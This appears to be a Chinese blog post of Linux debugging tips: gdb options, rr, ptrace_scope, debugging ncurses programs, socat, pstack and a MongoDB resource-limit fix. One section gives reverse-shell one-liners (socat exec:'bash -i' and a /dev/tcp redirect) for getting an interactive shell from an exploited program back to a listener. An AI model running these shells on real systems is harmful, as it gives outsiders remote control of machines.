之前写过一篇《Debug Hacks》和调试技巧。
CFLAGS
使用-g3
对于重度使用macro的程序很有用,可以在gdb里使用info macro NAME
、macro expand EXPR
等命令了,print
参数里的macro也可以展开。
rr
参见http://rr-project.org/,调试时最痛苦的莫过于难于重现,rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的,由此可见它的可用性……幻灯片http://rr-project.org/rr.html介绍了很多内部机理,值得一看。
gdb -p
不可用:
ptrace: Operation not permitted.
gdb无法attach到用户相同的另一个进程上。Arch
Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope
,参见https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE
capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话,可以执行sudo sysctl kernel.yama.ptrace_scope=0
。
收到SIGINT(或其他信号)后立刻用gdb调试自己
设想是fork产生一个新进程并停下来,原进程exec成gdb
并attach调试新进程。注意:新进程应设置以创建新的进程组,不然gdb按数次continue
后自身也会被stop,gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因,但进程组经常作为一个整体和信号、终端等概念相互关联,可能是这方面的原因。
这里SIGINT
可以考虑换成SIGFPE
、SIGSEGV
等,以防止进程死亡,用gdb交互式检视各个变量的值等以便于差错。
https://gist.github.com/MaskRay/298e87e465f45988d37f:
1 |
|
调试使用终端特性的程序
对于ncurses这类使用终端特性的程序,在gdb下调试时,gdb交互的终端也会被程序使用,程序可能执行屏幕擦除、移动光标等操作,和gdb交互的输出混杂在一起,产生干扰。解决方案是使用gdb的tty
命令(文档见info '(gdb) Input/Output'
)。下面以rlwrap rev
为例说明调试方法。
使用coreutils中的tty
命令(并非gdb的tty
命令)获得当前终端的名称,如/dev/pts/13
,然后创建新shell会话,假设终端名是/dev/pts/14
,将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999
(如果不执行这条命令的话,/dev/pts/14
的前台进程组是shell,会抢夺终端输入,而sleep
不会读取终端输入,因此不会和被调试程序竞争)。
然后回到原来的shell会话(/dev/pts/13
),用gdb调试程序:
1
2
3% gdb -tty /dev/pts/14 --args rlwrap rev
Reading symbols from rlwrap...(no debugging symbols found)...done.
(gdb) r
之后即可在/dev/pts/14
和被调试程序交互了。或者用命令tty /dev/pts/14
替代命令行选项-tty
。
注意,此时被调试程序的标准输入、输出、出错均为/dev/pts/14
,但没有控制终端(controlling
terminal),并且能在/dev/pts/14
看到gdb的警报:warning: GDB: Failed to set controlling terminal: Operation not permitted
。用strace
调试gdb
可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted)
,即gdb
尝试把/dev/pts/14
设为被调试进程的控制进程,但失败了。因为/dev/pts/14
是另外两个进程的控制终端(shell和sleep 9999
),无法抢夺(参看man tty_ioctl
的TIOCSCTTY
)。就我所知,与控制终端关联仅影响前台进程组的一些特性与信号递送,不影响终端模式的变更,对于多数程序用不着特定终端成为控制终端,只需有文件描述符指向终端即可,因此这个错误无关紧要。
参见http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php。
socat
把不同输入输出端对接的瑞士军刀,是nc
的进化型,支持非常多的网络协议、文件等IO方式。
下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。
对弈的gnuchess
创建black.sh
: 1
2#!/bin/zsh
{ echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'
用socat
启动TCP服务端:socat tcp-l:4444,reuseaddr exec:./black.sh
。
创建white.sh
: 1
2#!/bin/zsh
{ echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'
用socat
启动TCP客户端:socat tcp:0:4444,reuseaddr exec:./white.sh
。之后即可在/tmp/output
看到两个gnuchess
进程的对局。执行gnuchess
,输入depth 0
后可以限制它的搜索深度(加快运行速度),输入go
可以让它走一步。
写到此处,忽然想到之前NOI 2010团体对抗赛时,不了解这些东西的用法,浪费了很大工夫。
输入输出到终端的reverse shell
通常用system("sh")
等方式搞的shell都不是interactive
shell,没有提示符,也无法用readline的快捷键,不方便。下面介绍产生interactive
shell的方法:
本地监听9999端口,等远端被pwn的程序连接: 1
2socat stdio,raw,echo=0 tcp-l:9999
# 或者使用stty -echo raw; nc -l 9999; stty echo -raw
远端执行: 1
socat tcp:0:9999 exec:'bash -i',pty,stderr # 0应填之前监听9999端口的机器的IP
当然远端很可能没有socat
,可以用util-linux包中的script
:
1
script -qc 'bash -i' /dev/null &>/dev/tcp/0/9999 <&1 # 使用了bash创建socket的功能
pstack
打印指定进程的系统栈。
本质是一段脚本,核心是下面这句话: 1
2#!/bin/zsh
gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p'
你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt
了。
1 | % pstack $$ |
安装新的gdb
gdb和gcc有一定的版本适配性,有些恶劣的工作环境需要自己编译安装gdb,下面只是我折腾C++ STL查看器的注记。
1 | ./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python |
~/.gdbinit
里添加:
1 | python |
没有源码的环境调试
用sshfs或其他文件共享手段从其他机器上挂载源码目录,使用directory
命令设置源码查找目录。另外还有set substitute-path
,参见info '(gdb) Source Path'
。
MongoDB resource limits动态设置调试记
MongoDB使用mmap映射数据文件及分配内存,把内存管理的任务交给操作系统,造成内存使用量无法控制。我误以为resource
limits中的RLIMIT_AS
可以限制虚拟内存使用,
就在启动mongod
前执行ulimit -v $[512*1024]
,效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。
在测试写入性能时,发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录:
1
22015-03-13T20:20:18.558+0800 [conn1] ERROR: mmap private failed with out of memory. (64 bit build)
2015-03-13T20:20:18.558+0800 [conn1] Assertion: 13636:file /tmp/db/test.2 open/create failed in createPrivateMap (look in log for more information)
大概每5秒钟会产生一段错误记录,估计和mmap
有关。使用strace
查看mongod
及其所有子进程(包括当前和未来创建的)的mmap
系统调用:strace -fe mmap -p $(pgrep -n mongod)
,产生大量重复的输出:
1
2[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000
[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = -1 ENOMEM (Cannot allocate memory)
即以两个mmap
为单元,不断输出这两行,注意到mmap(2)
参数中的文件描述符fd
,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/
。猜测这两个mmap
都和数据文件(test.0
、test.1
等)有关。后来再用pmap -p $(pgrep -n mongod)
列示已映射的地址空间,发现与0x7f2e58716000
(第一次执行的mmap
的返回值)地址相近的都是些数据文件,印证了猜测。后来看/proc
下该进程的相关信息,发现/proc/$(pgrep -n mongod)/limits
列示的Max
address
space不正常,终于想到是先前ulimit -v
限制了地址空间大小,导致了这个问题。之后有两个解决办法,一是关闭mongod
,修改resource
limits后重启,二是动态修改resource
limits。为了好玩,自然选第二个。先要找出RLIMIT_AS
的数值:ag RLIMIT_AS /usr/include/bits
,发现是9,之后用gdb
attach到mongod
上修改resource limits:
1 | $ gdb -p $(pgrep -n mongod) |
成功修改了resource
limits!之后日志中果然出现了数据文件新建成功的信息,不再有mmap
的错误了。